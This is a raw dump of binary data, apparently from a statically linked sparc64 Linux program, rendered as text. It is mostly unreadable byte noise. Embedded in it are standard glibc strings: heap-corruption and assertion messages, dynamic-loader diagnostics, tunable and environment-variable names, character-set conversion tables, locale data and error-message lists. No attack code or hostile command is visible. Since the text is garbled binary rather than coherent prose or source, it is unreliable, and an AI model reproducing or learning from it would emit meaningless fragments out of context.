^ 0 ^ H@`/@^ ( *^ o^ 0"?^ o^ P@T #XcH #R-cp #Xc8 ! !X`3n!`, # Xc` z4ahxt@n[ !X` !``@  !X`nKnHP^ n@P; !_`bXw`ȁP.0 #ch`X@9 aX@@  p`X@@w@ 7.0_`w*@ _`h_@_` z4 x"O_`__`_@ ?P`@  | `Y  X@`@  `Y  X@`@  `Y X@`@  `Y X@`@  | `Y |X@`@  | `Y nX@`@  | `Y H`X@`@  | `Y RX@`@  | `Y XDX@`@  | `Y 6X@`@  | `Y x(X@`@  | `Y `X@9 ;_! ``Fw! hP3 !^a" va^^: `"@`_ ` Z @@_+` @`o #*^va !X@ !a@`` _@p_`@ _``  _@ *?_``"ba"HP; !R_aҧcpwaЁP7 #^ ^" Z ^ظ '2o^nށP^   ` ?^ZZ @ (o X* `@oovP #9 #Xc_"`  "Z_@o X`@ #5 ^^7 _ 8X`p` `@Z  #$@@w#_ *?_ 8^ @^ #Xa  #Xbpbn o#$_#ow# `2O #X@Xxp@svo #PYqЂ @)@_@" `Z_w@_@*?Z`@2o_@V `Yq; ! `8`@_(@ @w( !X`0p`0w(x `8`@#b#p_( o    mh  P]mmapDONElibc-start.c__ehdr_start.e_phentsize == sizeof *GL(dl_phdr)unexpected reloc type in static binaryFATAL: kernel too old FATAL: cannot determine kernel version __libc_start_main/dev/full/dev/null: %s%s%s:%u: %s%sAssertion `%s' failed. %nUnexpected error. OUTPUT_CHARSETcharset= %s/%sCLANGUAGEPOSIX/usr/share/localemessagesiouxIloldlilulxlXrce/locale.aliasLC_MESSAGES/usr/share/locale-langpack                   $ )-$    plural=nplurals= cxa_atexit.cl != NULL__new_exitfn%s%s%s w+wfileops.cstatus == __codecvt_partial_IO_wfile_underflowLIBC_FATAL_STDERR_/dev/ttyFatal error: glibc detected an invalid stdio handle ,ccs=fileops.cfcts.towc_nsteps == 1fcts.tomb_nsteps == 1_IO_new_file_fopenstrops.coffset >= oldendenlarge_userbuf%s%s%s:%u: %s%sAssertion `%s' failed. arena.creplaced_arena->attached_threads > 0result->attached_threads == 0malloc: top chunk is corruptmalloc_consolidate(): invalid chunk sizecorrupted size vs. prev_sizecorrupted double-linked listcorrupted double-linked list (not small)malloc.cchunk_is_mmapped (p)munmap_chunk(): invalid pointer((size + offset) & (GLRO (dl_pagesize) - 1)) == 0aligned_OK (chunk2mem (p))prev_size (p) == offsetp->attached_threads == 0 free(): invalid pointerfree(): invalid sizetc_idx < TCACHE_MAX_BINSfree(): invalid next size (fast)double free or corruption (fasttop)invalid fastbin entry (free)double free or corruption (top)double free or corruption (out)double free or corruption (!prev)free(): invalid next size (normal)free(): corrupted unsorted chunksheap->ar_ptr == avchunksize_nomask (p) == (0 | PREV_INUSE)new_size > 0 && new_size < (long) (2 * MINSIZE)new_size > 0 && new_size < HEAP_MAX_SIZE((unsigned long) ((char *) p + new_size) & (pagesz - 1)) == 0((char *) p + new_size) == ((char *) heap + heap->size)/proc/sys/vm/overcommit_memory((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)break adjusted to free malloc spacecorrection >= 0((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0malloc(): memory corruption (fast)malloc(): smallbin double linked list corruptedmalloc(): memory corruptionchunk_main_arena (bck->bk)chunk_main_arena (fwd)tcache->entries[tc_idx] > 0malloc(): corrupted unsorted chunksbit != 0(unsigned long) (size) >= (unsigned long) (nb)malloc(): corrupted unsorted chunks 2newsize >= nb && (((unsigned long) (chunk2mem (p))) % alignment) == 0realloc(): invalid old size!chunk_is_mmapped (oldp)realloc(): invalid next sizencopies >= 3(unsigned long) (newsize) >= (unsigned long) (nb)realloc(): invalid pointer!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))!p || chunk_is_mmapped (mem2chunk (p)) || &main_arena == arena_for_chunk (mem2chunk (p))!p || chunk_is_mmapped (mem2chunk (p)) || ar_ptr == arena_for_chunk (mem2chunk (p))a->attached_threads > 0!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem))nclears >= 3(char *) chunk2mem (p) + 4 * SIZE_SZ <= paligned_mem(char *) p + size > paligned_memmalloc_check_get_size: memory corruptionArena %d: system bytes = %10u in use bytes = %10u Total (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu mtrim__libc_calloc_mid_memalign__libc_reallocremove_from_free_listdetach_arenaget_free_list__libc_malloc_int_reallocmremap_chunkmunmap_chunkheap_trim_int_freesysmalloctcache_gettcache_put_int_malloc_int_memalignarena_thread_freeresUnknown error ANSI_X3.4-1968//TRANSLIT(52`mbsrtowcs_l.c((wchar_t *) data.__outbuf)[-1] == L'\0'result > 0__mbsinit (data.__statep)status == __GCONV_OK || status == __GCONV_EMPTY_INPUT || status == __GCONV_ILLEGAL_INPUT || status == __GCONV_INCOMPLETE_INPUT || status == __GCONV_FULL_OUTPUT__mbsrtowcs_l/usr/lib/getconfGETCONF_DIR/POSIX_V6_/proc/sys/kernel/ngroups_maxILP32_OFF32ILP32_OFFBIG/proc/sys/kernel/rtsig-max...../sysdeps/unix/sysv/linux/getcwd.cerrno != ERANGE || buf != NULL || size != 0__getcwd../sysdeps/unix/sysv/linux/getpagesize.cGLRO(dl_pagesize) != 0__getpagesize../sysdeps/unix/sysv/linux/getsysstats.c*cp <= *re/proc/cpuinfoncpus probed : %d/sys/devices/system/cpu/online/proc/statcpuncpus active : %d/sys/devices/system/cpunext_lineThe futex facility returned an unexpected error code.stack smashing detected*** %s ***: %s terminated GLIBC_TUNABLES/etc/suid-debugglibc.elision.skip_lock_after_retriesglibc.malloc.trim_thresholdMALLOC_TRIM_THRESHOLD_glibc.malloc.perturbMALLOC_PERTURB_glibc.elision.triesglibc.elision.enableglibc.elision.skip_lock_busyglibc.malloc.top_padMALLOC_TOP_PAD_glibc.malloc.mmap_maxMALLOC_MMAP_MAX_glibc.elision.skip_trylock_internal_abortglibc.malloc.tcache_unsorted_limitglibc.elision.skip_lock_internal_abortglibc.tune.hwcap_maskLD_HWCAP_MASKglibc.malloc.arena_maxMALLOC_ARENA_MAXglibc.malloc.mmap_thresholdMALLOC_MMAP_THRESHOLD_glibc.malloc.tcache_countglibc.malloc.arena_testMALLOC_ARENA_TESTglibc.malloc.tcache_maxglibc.malloc.checkMALLOC_CHECK_/var/tmp/var/profileGCONV_PATHGETCONF_DIRHOSTALIASESLD_AUDITLD_DEBUGLD_DEBUG_OUTPUTLD_DYNAMIC_WEAKLD_HWCAP_MASKLD_LIBRARY_PATHLD_ORIGIN_PATHLD_PRELOADLD_PROFILELD_SHOW_AUXVLD_USE_LOAD_BIASLOCALDOMAINLOCPATHMALLOC_TRACENIS_PATHNLSPATHRESOLV_HOST_CONFRES_OPTIONSTMPDIRTZDIRflushstbarswapmuldivv9ultra3v9vv9v2mul32div32fsmuldv8pluspopcvisvis2ASIBlkInitfmafvis3hpcrandomtransfjfmauimacsparepausecbcondcryptoadpLD_WARNsetup-vdso.hph->p_type != PT_TLSget-dynamic-info.hinfo[DT_PLTREL]->d_un.d_val == DT_RELAinfo[DT_RELAENT]->d_un.d_val == sizeof (ElfW(Rela)) WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1. out of memory LD_LIBRARY_PATHLD_BIND_NOWLD_BIND_NOTLD_DYNAMIC_WEAKLD_PROFILE_OUTPUTLD_ASSUME_KERNELelf_get_dynamic_infosetup_vdso/proc/sys/kernel/osrelease,IGNORE//gconv.cirreversible != NULLoutbuf != NULL && *outbuf != NULL__gconvgconv_db.cstep->__end_fct == NULL-__gconv_release_step:gconv_conf.celem != NULLcwd != NULL/usr/lib/sparc64-linux-gnu/gconvmodulegconv-modules__gconv_get_pathISO-10646/UCS4/=INTERNAL->ucs4=ucs4->INTERNALUCS-4LE//=INTERNAL->ucs4le=ucs4le->INTERNALISO-10646/UTF8/=INTERNAL->utf8=utf8->INTERNALISO-10646/UCS2/=ucs2->INTERNAL=INTERNAL->ucs2ANSI_X3.4-1968//=ascii->INTERNAL=INTERNAL->asciiUNICODELITTLE//=ucs2reverse->INTERNAL=INTERNAL->ucs2reverse.soUCS4//ISO-10646/UCS4/UCS-4//ISO-10646/UCS4/UCS-4BE//ISO-10646/UCS4/CSUCS4//ISO-10646/UCS4/ISO-10646//ISO-10646/UCS4/10646-1:1993//ISO-10646/UCS4/10646-1:1993/UCS4/ISO-10646/UCS4/OSF00010104//ISO-10646/UCS4/OSF00010105//ISO-10646/UCS4/OSF00010106//ISO-10646/UCS4/WCHAR_T//INTERNALUTF8//ISO-10646/UTF8/UTF-8//ISO-10646/UTF8/ISO-IR-193//ISO-10646/UTF8/OSF05010001//ISO-10646/UTF8/ISO-10646/UTF-8/ISO-10646/UTF8/UCS2//ISO-10646/UCS2/UCS-2//ISO-10646/UCS2/OSF00010100//ISO-10646/UCS2/OSF00010101//ISO-10646/UCS2/OSF00010102//ISO-10646/UCS2/ANSI_X3.4//ANSI_X3.4-1968//ISO-IR-6//ANSI_X3.4-1968//ANSI_X3.4-1986//ANSI_X3.4-1968//ISO_646.IRV:1991//ANSI_X3.4-1968//ASCII//ANSI_X3.4-1968//ISO646-US//ANSI_X3.4-1968//US-ASCII//ANSI_X3.4-1968//US//ANSI_X3.4-1968//IBM367//ANSI_X3.4-1968//CP367//ANSI_X3.4-1968//CSASCII//ANSI_X3.4-1968//OSF00010020//ANSI_X3.4-1968//UNICODEBIG//ISO-10646/UCS2/UCS-2BE//ISO-10646/UCS2/UCS-2LE//UNICODELITTLE//gconv_builtin.ccnt < sizeof (map) / sizeof (map[0])__gconv_get_builtin_trans0t@# `(px-L=HH@`UD\D2` 5He`l../iconv/skeleton.coutbufstart == NULLinend - *inptrp < 4gconv_simple.c*outptrp + 4 > outend../iconv/loop.c(state->__count & 7) <= sizeof (state->__value)inptr - bytebuf > (state->__count & 7)inend != &bytebuf[MAX_NEEDED_INPUT]inend - inptr > (state->__count & ~7)inend - inptr <= sizeof (state->__value)outbuf == outerrnstatus == __GCONV_FULL_OUTPUTch != 0xc0 && ch != 0xc1internal_ucs2reverse_loop_single__gconv_transform_internal_ucs2reverseucs2reverse_internal_loop_single__gconv_transform_ucs2reverse_internalinternal_ucs2_loop_single__gconv_transform_internal_ucs2ucs2_internal_loop_single__gconv_transform_ucs2_internalutf8_internal_loop_single__gconv_transform_utf8_internalinternal_utf8_loop_single__gconv_transform_internal_utf8internal_ascii_loop_single__gconv_transform_internal_ascii__gconv_transform_ascii_internalucs4le_internal_loop_unaligneducs4le_internal_loop__gconv_transform_ucs4le_internalinternal_ucs4le_loop_unaligned__gconv_transform_internal_ucs4le__gconv_transform_ucs4_internal__gconv_transform_internal_ucs4GCONV_PATH/usr/lib/sparc64-linux-gnu/gconv/gconv-modules.cachegconv_dl.cobj->counter > 0found->handle == NULLgconvgconv_initgconv_enddo_release_shlib__gconv_find_shlibLOCPATH(    +3?HP[hwLC_COLLATELC_CTYPELC_MONETARYLC_NUMERICLC_TIMELC_MESSAGESLC_PAPERLC_NAMELC_ADDRESSLC_TELEPHONELC_MEASUREMENTLC_IDENTIFICATIONLC_ALLLANGfindlocale.clocale_codeset != NULL_nl_find_locale/usr/lib/locale/../n-   HаXx`loadlocale.ccategory == LC_CTYPE_nl_intern_locale_data4ĸ\LĤĘ|HĤ@    V. loadarchive.cheadmap.len == archive_stat.st_sizearchmapped == &headmap_nl_archive_subfreeres_nl_load_locale_from_archive/usr/lib/locale/locale-archiveupperloweralphadigitxdigitspaceprintgraphblankcntrlpunctalnumtouppertolowerV((((ʸX((HT (08@0123456789IpF@1(HҸp,ќPt(l8HHHHHI( (xx>>~~~~     !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~     `     ` (C)<<-(R)u,>> 1/4 1/2 3/4 AExssaeIJij'nOEoesLJLjljNJNjnjDZDzdz'^'`_:~ -------'','"",,"+o...... ``````<>!!/???!!? C=RsEURINRa/ca/sCc/oc/ugHHHhIILlNNoPQRRRTEL(TM)ZOhmZBCeeEFMoiDdeij 1/3 2/3 1/5 2/5 3/5 4/5 1/6 5/6 1/8 3/8 5/8 7/8 1/IIIIIIIVVVIVIIVIIIIXXXIXIILCDMiiiiiiivvviviiviiiixxxixiilcdm<--><-><==><=>-/\*|:~<=>=<<>><<<>>>NULSOHSTXETXEOTENQACKBELBSHTLFVTFFCRSOSIDLEDC1DC2DC3DC4NAKSYNETBCANEMSUBESCFSGSRSUSSPDEL_NL(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(A)(B)(C)(D)(E)(F)(G)(H)(I)(J)(K)(L)(M)(N)(O)(P)(Q)(R)(S)(T)(U)(V)(W)(X)(Y)(Z)(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(0)-|+++++++++o::====== =(21)(22)(23)(24)(25)(26)(27)(28)(29)(30)(31)(32)(33)(34)(35)(36)(37)(38)(39)(40)(41)(42)(43)(44)(45)(46)(47)(48)(49)(50)hPadaAUbaroVpcpAnAuAmAkAKBMBGBcalkcalpFnFuFugmgkgHzkHzMHzGHzTHzulmldlklfmnmummmcmkmmm^2cm^2m^2km^2mm^3cm^3m^3km^3m/sm/s^2PakPaMPaGParadrad/srad/s^2psnsusmspVnVuVmVkVMVpWnWuWmWkWMWa.m.BqcccdC/kgCo.dBGyhaHPinKKKMktlmlnloglxmbmilmolPHp.m.PPMPRsrSvWbfffiflffifflst+___,.;:?!(){}#&*+-<>=\$%@!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzACDGJKNOPQSTUVWXYZabcdfhijkmnpqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABDEFGJKLMNOPQSTUVWXYabcdefghijklmnopqrstuvwxyzABDEFGIJKLMOSTUVWXYabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890123456789012345678901234567890123456789 %,37:>BFJNRVY]aeimquy} !%*/49<AFILORUX[^adhknqtw|  #',269=BEHKNQUZ^aejptw{  "',16;@EJNSX\`dhlqtx}  &,28>DJPVZ^bfjnrvz $).38=BGLQV[`ejoty~ #(-27<?BEHKNQTWZ]`einqtz "(-15:>BFJNRVZ^bgmquy} '+/37;?CGKOSW[_cgmquy              " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }          " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j m p s v y |          ! $ ' * - 0 3 6 9 < ? B E H K N Q T W Z ] ` c f i l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }   "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~  #&),/258;>ADGJMPSVY\_behknqtwz}  "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~23IRS                     " $ % & / 5 6 7 9 : < D G H I _ ` a b c !!!!!! ! ! ! !!!!!!!!!!!!!!!"!$!&!(!,!-!.!/!0!1!3!4!9!E!F!G!H!I!S!T!U!V!W!X!Y!Z![!\!]!^!_!`!a!b!c!d!e!f!g!h!i!j!k!l!m!n!o!p!q!r!s!t!u!v!w!x!y!z!{!|!}!~!!!!!!!"""""#"6"<"d"e"j"k""$$$$$$$$$$ $ $ $ $ $$$$$$$$$$$$$$$$$$$ $!$#$$$`$a$b$c$d$e$f$g$h$i$j$k$l$m$n$o$p$q$r$s$t$u$v$w$x$y$z${$|$}$~$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%%% %%%%%$%,%4%<%*t*u*v002Q2R2S2T2U2V2W2X2Y2Z2[2\2]2^2_2222222222222223q3r3s3t3u3v33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333) MNOPRTUVWYZ[\_`abcdefhijk  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ԀԁԂԃԄԅԆԇԈԉԊԋԌԍԎԏԐԑԒԓԔԕԖԗԘԙԚԛԜԞԟԢԥԦԩԪԫԬԮԯ԰ԱԲԳԴԵԶԷԸԹԻԽԾԿ    !"#$%&'()*+,-./0123456789;<=>@ABCDFJKLMNOPRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ՀՁՂՃՄՅՆՇՈՉՊՋՌՍՎՏՐՑՒՓՔՕՖ՗՘ՙ՚՛՜՝՞՟ՠաբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտ      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~րցւփքօֆևֈ։֊֋֌֍֎֏֐֑֖֛֢֣֚֒֓֔֕֗֘֙֜֝֞֟֠֡  "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~ 1234567890123456789?libcANSI_X3.4-1968  HаXx`(((UUUUUUUU?33333333*$I$I$qqqEt]EUUUUUUU;;I$I$I888 yC^Pה5 0 0 0 . !d, =p =p ؝؝ {B^З% $I$I$ܰ=B!B|PuPuPqq0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZto_outpunct(nil)vfprintf.cs->_flags2 & _IO_FLAGS2_FORTIFY*** invalid %N$ use detected *** (unsigned int) done < (unsigned int) INT_MAX(size_t) done <= (size_t) INT_MAX*** %n in writable segment detected *** __mbsinit (&mbstate)printf_positional_IO_vfprintf_internal(null) h`̴l̼̈ͬưt8,dD|l0h,8,dD|l0h,8,dD0d 8,dD|l0h,Hd 8,dD|l0h,`|(lHd 8,dD|l0h,       NANINFnaninfNANINFnaninf0.0001../stdio-common/printf_fphex.c*decimal != '\0' && decimalwc != L'\0'__printf_fphex_IO_vfwprintf(nil)(null)V<V<V<V<V<V<V<V<V<V<V<V<V<V<\\ccaa<Z@[]]8]ZL`V<V<V<wwwwwwwwwwwwwwy0xtvl4wwwwwwwwwwwwwwwwwwy0xtvl4wwwwwwwwwwwww(wwwwwwwwxwwwwwwwwwwwwwwwwlwwy0xtvl4v(v(wwwwwwwwwwxlwwy0xtvl4v(v(wwxlx$0|||~xlwwy0xtvl4v(v(T       to_inpunctvfscanf.ccnt < MB_LEN_MAX_IO_vfscanf_internalSuccessOperation not permittedNo such file or directoryNo such processInterrupted system callInput/output errorNo such device or addressArgument list too longExec format errorBad file descriptorNo child processesResource temporarily unavailableCannot allocate memoryPermission deniedBad addressBlock device requiredDevice or resource busyFile existsInvalid cross-device linkNo such deviceNot a directoryIs a directoryInvalid argumentToo many open files in systemToo many open filesInappropriate ioctl for deviceText file busyFile too largeNo space left on deviceIllegal seekRead-only file systemToo many linksBroken pipeNumerical argument out of domainNumerical result out of rangeOperation now in progressOperation already in progressSocket operation on non-socketDestination address requiredMessage too longProtocol wrong type for socketProtocol not availableProtocol not supportedSocket type not supportedOperation not supportedProtocol family not supportedAddress family not supported by protocolAddress already in useCannot assign requested addressNetwork is downNetwork is unreachableNetwork dropped connection on resetSoftware caused connection abortConnection reset by peerNo buffer space availableTransport endpoint is already connectedTransport endpoint is not connectedCannot send after transport endpoint shutdownToo many references: cannot spliceConnection timed outConnection refusedToo many levels of symbolic linksFile name too longHost is downNo route to hostDirectory not emptyToo many processesToo many usersDisk quota exceededStale file handleObject is remoteDevice not a streamTimer expiredOut of streams resourcesNo message of desired typeBad messageIdentifier removedResource deadlock avoidedNo locks availableMachine is not on the networkLink has been severedAdvertise errorSrmount errorCommunication error on sendProtocol errorMultihop attemptedRFS specific errorRemote address changedFunction not implementedStreams pipe errorValue too large for defined data typeFile descriptor in bad stateChannel number out of rangeLevel 2 not synchronizedLevel 3 haltedLevel 3 resetLink number out of rangeProtocol driver not attachedNo CSI structure availableLevel 2 haltedInvalid exchangeInvalid request descriptorExchange fullNo anodeInvalid request codeInvalid slotFile locking deadlock errorBad font file formatCannot exec a shared library directlyNo data availableAccessing a corrupted shared libraryPackage not installedCan not access a needed shared libraryName not unique on networkInterrupted system call should be restartedStructure needs cleaningNot a XENIX named type fileNo XENIX semaphores availableIs a named type fileRemote I/O errorInvalid or incomplete multibyte or wide characterAttempting to link in too many shared libraries.lib section in a.out corruptedNo medium foundWrong medium typeOperation canceledRequired key not availableKey has expiredKey has been revokedKey was rejected by serviceOwner diedState not recoverableOperation not possible due to RF-killMemory page has hardware error8Ph0@`p 8H`p(H`8Pp(Px(@Ph8Xh0@Xp(HXh 0HXx8XP(HXp0000000000000000 0000000000000000 iofwide.c_IO_fwide$<#`"t"4"`%("hmbrtowc.c__mbrtowcwcrtomb.c__wcrtombwcsrtombs.cdata.__outbuf[-1] == '\0'data.__outbuf != (unsigned char *) dst__wcsrtombs/proc/self/mapscannot allocate name recorddl-load.clastp != NULLcannot close file descriptorcannot create shared object descriptorcannot read file datacannot allocate memory for program headerobject file has no dynamic sectionshared object cannot be dlopen()edcannot enable executable stack as shared object requirescannot stat shared objectELF load command alignment not page-alignedELF load command address/offset not properly alignedobject file has no loadable segmentscannot dynamically load executablefailed to map segment from shared objectcannot map zero-fill pagescannot change memory protectionsfile=%s [%lu]; generating link map r->r_state == RT_ADDfalse && "TLS not initialized in static application"type != ET_EXEC || l->l_type == lt_executable dynamic: 0x%0*lx base: 0x%0*lx size: 0x%0*Zx entry: 0x%0*lx phdr: 0x%0*lx phnum: %*u file too shortinvalid ELF headerELF file data encoding not big-endianELF file version ident does not match current oneELF file OS ABI invalidELF file ABI version invalidnonzero padding in e_identinternal errorELF file version does not match current oneonly ET_DYN and ET_EXEC can be loadedELF file's phentsize not the expected size:%s
search path= (%s from file %s) (%s) trying file=%s ORIGINPLATFORMLIBlib/sparc64-linux-gnu(l)->l_name[0] == '\0' || IS_RTLD (l)cannot create cache for search pathcannot create RUNPATH/RPATH copycannot create search path arraysystem search pathpelem->dirname[0] == '/':; file=%s [%lu]; needed by %s [%lu] file=%s [%lu]; dynamically loaded by %s [%lu] nsid >= 0nsid < GL(dl_nns)find library=%s [%lu]; searching RPATHRUNPATHwrong ELF class: ELFCLASS32cannot open shared object file_dl_map_object_from_fdadd_name_to_object_dl_map_objectexpand_dynamic_string_token_dl_init_pathsGNUELFELF /lib/sparc64-linux-gnu//usr/lib/sparc64-linux-gnu//lib//usr/lib/dl-lookup.cversion->filename == NULL || ! _dl_name_match_p (version->filename, map)symbol=%s; lookup in file=%s [%lu] (no version symbols), version protectednormalversion == NULL || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0version != NULLsymbol %s version %s not defined in file %s with link time reference%srelocation errorundefined symbol: %s%s%ssymbol lookup error file=%s [%lu]; needed by %s [%lu] (relocation dependency) binding file %s [%lu] to %s [%lu]: %s symbol `%s' [%s] (bitmask_nwords & (bitmask_nwords - 1)) == 0_dl_setup_hashcheck_match_dl_lookup_symbol_xcannot allocate memory in static TLS block (lazy)cannot make segment writable for relocationcannot restore segment prot after reloc relocation processing: %s%s %s: Symbol `%s' has different size in shared object, consider re-linking %s: out of memory to store relocation results for %s cannot apply additional memory protection after relocationunexpected reloc type 0xunexpected PLT reloc type 0xGNU/etc/ld.so.nohwcapcannot create capability listtlsdl-hwcaps.cm == cnt_dl_important_hwcapsdl-misc.cpid >= 0 && sizeof (pid_t) <= 4niov < NIOVMAX! "invalid format specifier"_dl_debug_vdprintf =???%s: cannot open file: %s %s: cannot stat file: %s %s: cannot map file: %s %s: cannot create file: %s .profile%s: file is no correct profile data file for `%s' Out of memory while initializing profiler cannot allocate memory for thread-local data: ABORT dl-tls.cresult <= GL(dl_tls_max_dtv_idx) + 1result == GL(dl_tls_max_dtv_idx) + 1listp->slotinfo[cnt].gen <= GL(dl_tls_generation)map->l_tls_modid == total + cntmap->l_tls_blocksize >= map->l_tls_initimage_size(size_t) map->l_tls_offset >= map->l_tls_blocksizelistp != NULLidx == 0cannot create TLS data structuresdlopen_dl_add_to_slotinfo_dl_allocate_tls_init_dl_next_tls_modid/proc/self/exe../sysdeps/unix/sysv/linux/dl-origin.clinkval[0] == '/'_dl_get_originFatal error: length accounting in _dl_exception_create_format Fatal error: invalid format in exception string out of memory/etc/ld.so.cache search cache=%s ld.so-1.7.0glibc-ld.so.cache1.1GLIBC_PRIVATE_dl_open_hook_dl_open_hook2error while loading shared libraries%s: %s: %s%s%s%s%s DYNAMIC LINKER BUG!!!^[yY]^[nN]X.p'u'uX.XSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z %YSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z %Y@HPX`hpxĀĈĐĠİĸ (0@HPX`hxŀŐŠŨŰ0@P`pƀƐƠ(PpǘǨǸ(8HXxȠȸ Hhɐɸ0XʀPPPPP0:ʰX(0@HPX`hxŀŐXxȠȸ Hhɐ ǘǨǸ(8H)X%p%t%g%t%m%t%fРX%a%N%f%N%d%N%b%N%s %h %e %r%N%C-%z %T%N%c%N (X+%c %a %lXXISO/IEC 14652 i18n FDCC-setISO/IEC JTC1/SC22/WG20 - internationalizationC/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn VKeld Simonsenkeld@dkuug.dk+45 3122-6543+45 3325-6543ISO1.01997-12-20i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999XhxӈӘӠӨӸXX  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  